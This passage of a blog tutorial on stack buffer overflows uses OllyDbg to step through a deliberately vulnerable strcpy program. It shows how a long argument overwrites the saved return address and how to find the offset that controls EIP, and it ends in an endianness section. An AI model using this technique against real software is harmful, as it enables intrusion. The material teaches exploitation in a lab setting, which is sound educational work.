&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiR-HSM1FZ87ly4pFTWJleOb4BkeeFOIAG2ZRImD_VIzNMCFkHxbBp6WcnePbaqfpS6VVx3CeF_8qk8vP0CHByvyo9-67Zf3lR6qAuR1vdNah2Kacy3Yvz2l84ErxpXBcABb1mSGlCdIxo/s1600/stack5.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;258&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiR-HSM1FZ87ly4pFTWJleOb4BkeeFOIAG2ZRImD_VIzNMCFkHxbBp6WcnePbaqfpS6VVx3CeF_8qk8vP0CHByvyo9-67Zf3lR6qAuR1vdNah2Kacy3Yvz2l84ErxpXBcABb1mSGlCdIxo/s400/stack5.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;b&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/b&gt;
&lt;b&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/b&gt;
&lt;b&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/b&gt;
&lt;b&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/b&gt;
&lt;b&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/b&gt;
&lt;b&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/b&gt;
&lt;b&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/b&gt;
&lt;b&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/b&gt;
&lt;b&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/b&gt;
&lt;b&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/b&gt;
&lt;b&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/b&gt;
&lt;b&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/b&gt;&lt;br /&gt;
Next , before calling main() , address of the instruction next to CALL, is pushed on the stack so that it knows where to resume execution after returning from main() . Stack will look like this:&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj2Tge1p01rIUQ7JrUqCrA1SSAcn23zNwTEdEjb1U7l6Ta66k1Bu2AhaGaOaB6RoHjP5LOjaOiVaekXeD7uS0BMuTlFNLtSYaX4QHg7KRLQfJKClvLThgMwpxIY8KgnvTjuOXJ9XPjsIHE/s1600/stack6.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;252&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj2Tge1p01rIUQ7JrUqCrA1SSAcn23zNwTEdEjb1U7l6Ta66k1Bu2AhaGaOaB6RoHjP5LOjaOiVaekXeD7uS0BMuTlFNLtSYaX4QHg7KRLQfJKClvLThgMwpxIY8KgnvTjuOXJ9XPjsIHE/s400/stack6.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;b&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/b&gt;
&lt;b&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/b&gt;
&lt;b&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/b&gt;
&lt;b&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/b&gt;
&lt;b&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/b&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
At this point , if we take a look at the stack in the ollydbg debugger , here is how the stack is setup while calling main() function . If you observe the bottom right windows of the debugger , it is the stack window and &amp;nbsp;the highlighted portion of the stack shows the pushed EIP and the two arguments to the main .&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhBuaOeX9Z0ujKx9tsLHQABO8M0jvPVZF3UFMmHfkWIB7dn5Ngtj6TvuWaEW7Xoyv7ftfWIVW839roZyTGTuMDiuI5yXslJYb02pVWsZuh3zqZE7vxK4YXvVXPjHTUmIJbT2FwRWZQk3o8/s1600/stack7.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;163&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhBuaOeX9Z0ujKx9tsLHQABO8M0jvPVZF3UFMmHfkWIB7dn5Ngtj6TvuWaEW7Xoyv7ftfWIVW839roZyTGTuMDiuI5yXslJYb02pVWsZuh3zqZE7vxK4YXvVXPjHTUmIJbT2FwRWZQk3o8/s400/stack7.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Code window in the above picture is actually the disassembled code of the main() . If we examine some of the initial lines of the assembly code, we can relate it to the C souce I showed a while back.&lt;br /&gt;
&lt;span style=&quot;font-weight: bold;&quot;&gt;&lt;span style=&quot;font-weight: normal;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: yellow; font-size: x-small;&quot;&gt;PUSH EBP&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: yellow; font-size: x-small;&quot;&gt;MOV EBP, ESP&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: lime; font-size: x-small;&quot;&gt;SUB ESP, 54&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;PUSH EBX&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;PUSH ESI&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;PUSH EDI &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;; &amp;nbsp;ntdll.7C910228&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;MOV EAX, DWORD PTR SS:[EBP+C] &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;; &amp;nbsp;kernel32.7C81776F&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;MOV ECX, DWORD PTR DS:[EAX+4]&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;PUSH ECX &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;; /src = &quot;L+7&quot;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;LEA EDX, DWORD PTR SS:[EBP-14] &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;; |&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;PUSH EDX &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;; |dest = 00000002&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: lime;&quot;&gt;CALL Buffer_O.strcpy &lt;/span&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; ; \strcpy&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;ADD ESP, 8&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;PUSH Buffer_O.0040316C &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;; /s2 = &quot;password&quot;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;LEA EAX, DWORD PTR SS:[EBP-14] &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;; |&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;PUSH EAX &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;; |s1 = &quot;X17&quot;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: lime;&quot;&gt;CALL Buffer_O.strcmp&lt;/span&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;; \strcmp&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;ADD ESP, 8&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;TEST EAX, EAX&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;JNZ SHORT Buffer_O.00401050&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;PUSH Buffer_O.00403154 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; ; /format = &quot;Login Successful...\n&quot;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: lime;&quot;&gt;CALL DWORD PTR DS:[&amp;lt;&amp;amp;MSVCR100D.printf&amp;gt;] &lt;/span&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;; \printf&lt;/span&gt;&lt;br /&gt;
&lt;div style=&quot;font-weight: normal;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
Within the main , as shown in the marked code , function prologue is executed wherein EBP is pushed on the stack thereby creating the new local stack frame for main and then ESP is moved to EBP . At this point , ESP and EBP both points to the same location . Remind yourself again that stack always grows towards low memory address and when something is pushed , ESP will be decremented by 4.&lt;br /&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Here , Stack will look like this : You can also view the stack state in the debugger and examine the ESP and EBP registers .&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgyEBBBHDLEfypIUXhoLWmuBPvKs3IPqGrsaXFzzlueLvzJ2ozRS-2Dd5A3y9WqwsJef20BWRFIuzZaQC4E3Fqv6x3sj4qnKjmTqBg_Shi2bSCNYdw2MoCZ39fw0UjxzYIr5_wniBOktwg/s1600/stack8.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;322&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgyEBBBHDLEfypIUXhoLWmuBPvKs3IPqGrsaXFzzlueLvzJ2ozRS-2Dd5A3y9WqwsJef20BWRFIuzZaQC4E3Fqv6x3sj4qnKjmTqBg_Shi2bSCNYdw2MoCZ39fw0UjxzYIr5_wniBOktwg/s400/stack8.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
At the third instruction , ESP is further substracted by 0x54 and allocates the space for local variable buffer that we&#39;ve declared in the source. Once this instruction is executed , below is how the stack will appear : Highlighted area in the debugger stack window is the space allocated for the variables.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgjapjOJX2YgnPTIPMnpFcRSuJ0CzXwiGGeCfhiLiAheCZSGGWhSj_KZrMetAmTdkSTDvWUaaKlxtccg2uAOzftqaBhZ6MBdLywMIx-83VVz-VxkRjOf4mkxEvvl6wFHQo4z1DoiQdzdtk/s1600/stack11.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;232&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgjapjOJX2YgnPTIPMnpFcRSuJ0CzXwiGGeCfhiLiAheCZSGGWhSj_KZrMetAmTdkSTDvWUaaKlxtccg2uAOzftqaBhZ6MBdLywMIx-83VVz-VxkRjOf4mkxEvvl6wFHQo4z1DoiQdzdtk/s400/stack11.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
In the next few lines of the code , we see the strcpy ( ) is being done from argv[1] to buffer , and then the string comparision is done after which appropriate printf call is executed . What we need to remember here is that for every function that is called from within the main , stack frames are created in exactly the similar way as demonstrated above . When the function returns , the stack is wiped off and EBP/ EIP is popped from the stack to resume execution thereafter.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;u&gt;Overflowing the buffer with long command line parameters&lt;/u&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Now that we have the knowledge of how the stack frame is established , it will be lot more easier for us to understand what will happen if we pass long command line arguments to main . Until now we were OK since we passed the string with length of 8 bytes and our buffer is 20 bytes long..If we pass the string of say 30 bytes as the command line parameter to main , we are sure that we will overwrite past the allocated buffer space , EBP and finally saved EIP as well and even the way beyond if our string is longer. If we visualize the stack after the strcpy () &amp;nbsp;operation , it will be like this :&lt;br /&gt;
&lt;br /&gt;
Important point to note here is that , overflow will happen from lower memory address to higher memory address .&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhNokoDzBAC4gWYWNOHEEgte4Lahj5tGY2qBKzSwy9KPRqd128JDqfgpeRUdTSVCMBMghLqQHIBZ300zIgqq9aOa5b3NNJxl8skhac66SGP5g8sNGXe4nF3-XZrKxsai0MrT9fRKWXiIu0/s1600/stack12.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;255&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhNokoDzBAC4gWYWNOHEEgte4Lahj5tGY2qBKzSwy9KPRqd128JDqfgpeRUdTSVCMBMghLqQHIBZ300zIgqq9aOa5b3NNJxl8skhac66SGP5g8sNGXe4nF3-XZrKxsai0MrT9fRKWXiIu0/s400/stack12.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Let&#39;s&amp;nbsp; pass the long command line parameter and check the stack state and the behaviour of the debugger. You should pass the parameter to this program in the similar way I described previously. I passed the string of &quot;A&quot; ( Hex : 0x41 ) &amp;nbsp;with the length of 45 and here is what happened in the debugger .&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj2oBVUwEjBy3bjgzoL7ZAdkJd7ST9uwzFJFN56mkQMJOjjblcYP9GUTwI9uw2_75KnJAxJQODIid4X8hn6WVBy5m2anSVUdXvfcPmL12fN03eyRL66H-PHvIeCOO3KePLZgrg719_wfNM/s1600/stack13.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;181&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj2oBVUwEjBy3bjgzoL7ZAdkJd7ST9uwzFJFN56mkQMJOjjblcYP9GUTwI9uw2_75KnJAxJQODIid4X8hn6WVBy5m2anSVUdXvfcPmL12fN03eyRL66H-PHvIeCOO3KePLZgrg719_wfNM/s400/stack13.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ahaa !! ..We&#39;ve overwritten the buffer with the long string of &quot;A&quot; passed as the parameter to main and effectively to strcpy () , which overflowed the buffer and eventually gone and overwrote the &amp;nbsp;saved return address ( EIP ) . So when the main returned , the EIP was popped off the stack and it throwed the exception because of the fact that it couldn&#39;t read the memory at that location. You can also see the bottom right stack window where the allocated memory was filled up with 0x41 ( Hex value of &quot;A&quot; ) and ESP pointing to our overflowed buffer . This is exactly what we will use to exploit the buffer overflow and jump to over shellcode . We&#39;ll see that later in the next part :-)&lt;br /&gt;
&lt;br /&gt;
So what exactly happened here ? Let&#39;s closely step through the code and examine what caused the debugger to throw the exception . We will breakpoint the strcpy operation and examine the stack just before this operation , to get some clarity .&lt;br /&gt;
&lt;br /&gt;
I restarted the program , breakpointed at strcpy operation :&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEixvIGdn1MrbVai0Jid5sE7zRTxTWhPC0KgcuaJrSG7sbXHFIvc1y5LgkV6y573CqbqKKd7coZpqT0PlqqnNju1-7rR19-lQXLsqBOa-rNSFnvnV89GGr07-0zQOY-Wh8I02jByS4c36-8/s1600/stack14.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; display: inline !important; margin-bottom: 1em; margin-right: 1em; text-align: center;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;168&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEixvIGdn1MrbVai0Jid5sE7zRTxTWhPC0KgcuaJrSG7sbXHFIvc1y5LgkV6y573CqbqKKd7coZpqT0PlqqnNju1-7rR19-lQXLsqBOa-rNSFnvnV89GGr07-0zQOY-Wh8I02jByS4c36-8/s400/stack14.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
If you closely take a look at the arguments of strcpy operation , source is our passed string of &quot;A&quot;s which we want to copy , and the other argument is the destination memory location 0x0012FF54 on the stack where the string is to be copied . Just observe the stack at this time . This is before the copy is done . Few locations below our destination pointer at 0x0012FF6C , we have the return address saved . As I indicated before, the copy will be done from low mem to high mem addresses. Once the strcpy will be executed , this location will be overwritten with our string of &quot;A&quot;s .&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEinXTufRSFXuUMiYBQ8ck-gNo0bQLpFRqZNuEXbhMg6KHtyl7M97Zjxs9eWVmPZCAzBS6-BO60Qdd7CAzB6runzFVQXTA1Fin8tUtUF0sCuZXtPQUOcpJbx3K3EpplIrCP4apao97Te660/s1600/stack15.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;178&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEinXTufRSFXuUMiYBQ8ck-gNo0bQLpFRqZNuEXbhMg6KHtyl7M97Zjxs9eWVmPZCAzBS6-BO60Qdd7CAzB6runzFVQXTA1Fin8tUtUF0sCuZXtPQUOcpJbx3K3EpplIrCP4apao97Te660/s400/stack15.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
If you notice the state of the stack after strcpy , it is filled up with our supplied parameter and the stack location 0x0012FF6C , which previously had the return address stored , now has 0x41414141 . Futher , if you step through the code , it will perform the strcmp and print the appropriate message and finally , the funtion epilogue is executed :&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;MOV ESP, EBP&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;POP EBP&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;RETN&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
EBP is moved to ESP register , top of the stack is then popped into EBP which contains 0x41414141 as well and then when finally RETN is executed ESP is pointing to 0x0012FF6C which contains 0x41414141 , is popped into EIP . Debugger will throw the exception when trying to read 0x41414141.&lt;br /&gt;
&lt;br /&gt;
So through this simple vulnerable code , I demonstrated &amp;nbsp;that we can control the EIP and overwrite with the memory address that we choose . In this example , it is easier for us to find the exact offset in our parameter to overwrite the EIP. We know that our buffer is exactly 20 bytes long . if we add 4 bytes of EBP to that , we should be able to overwrite the EIP at 25th byte in our string ..Let&#39;s try that out ...&lt;br /&gt;
&lt;br /&gt;
I&#39;ll pass the string with 24 bytes of &quot;A&quot; s + 4 bytes of &quot;B&quot; ..and we&#39;ll see that EIP is overwritten with the 0x42424242.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjvg3Rs1k2snl-OZwuNqwWA_JMpbsmtxC4fOhyrRN_nSJvnwWcY9VFFEWwQ_mZUKc3ekXiIXYC2TiYLvitzfIhTKeVpQjBqTuAhSwySax5F5psqMFJLk9fP5dLILb-svM2Nwb-baR5sj28/s1600/stack16.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;206&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjvg3Rs1k2snl-OZwuNqwWA_JMpbsmtxC4fOhyrRN_nSJvnwWcY9VFFEWwQ_mZUKc3ekXiIXYC2TiYLvitzfIhTKeVpQjBqTuAhSwySax5F5psqMFJLk9fP5dLILb-svM2Nwb-baR5sj28/s400/stack16.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
That is what we expected. At this point of time , we&#39;ve just triggered the buffer overflow in our vulnerable code. Next step is to exploit this vulnerability and modify the execution flow of the program to execute our own shellcode&amp;nbsp;. If the command line argument&amp;nbsp;is&amp;nbsp;longer than 28 bytes , you will see&amp;nbsp;that ESP is pointing to some offset&amp;nbsp;in our string&amp;nbsp;and we can&amp;nbsp;exploit that to&amp;nbsp;modify the execution flow of the program and do&amp;nbsp;what we want it to.&amp;nbsp;We&#39;ll see how to achieve it in the next part of this series.&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&lt;strong&gt;&lt;u&gt;Little endian Vs Big endian&lt;/u&gt;&lt;/strong&gt;&lt;br /&gt;
&lt;strong&gt;&lt;u&gt;&lt;/u&gt;&lt;/strong&gt;&lt;br /&gt;
This is another little concept that we need to understand before we dive deep into exploitation.Little endian and Big endian are the order in which the bytes are stored in the memory and is often dependent on underlying hardware architecture .&lt;br /&gt;
&lt;br /&gt;
In a Big endian hardware , the most significant byte of the word / dword is stored first as lowest memory address and then the subsequent bytes are stored at the increasing memory locations.For instaance , if you visualize big endian format memory storage for dword 0x41424344 , starting at memory location 0x0012FF6C , it will be stored in the following format : &lt;br /&gt;
&lt;br /&gt;
0x0012FF6C&amp;nbsp; : 0x41&lt;br /&gt;
0x0012FF6D&amp;nbsp; : 0x42&lt;br /&gt;
0x0012FF6E&amp;nbsp; :&amp;nbsp;0x43&lt;br /&gt;
0x0012FF6F&amp;nbsp; :&amp;nbsp;0x44&lt;br /&gt;
&lt;br /&gt;
If you take the memory dump of the bytes stored in big endian format , you will find&amp;nbsp;0x41424344 stored like this in the memory :&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&lt;span style=&quot;color: white;&quot;&gt;ADDRESS&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;: ---- MEMORY BYTES ---------- &lt;/span&gt;&lt;br /&gt;
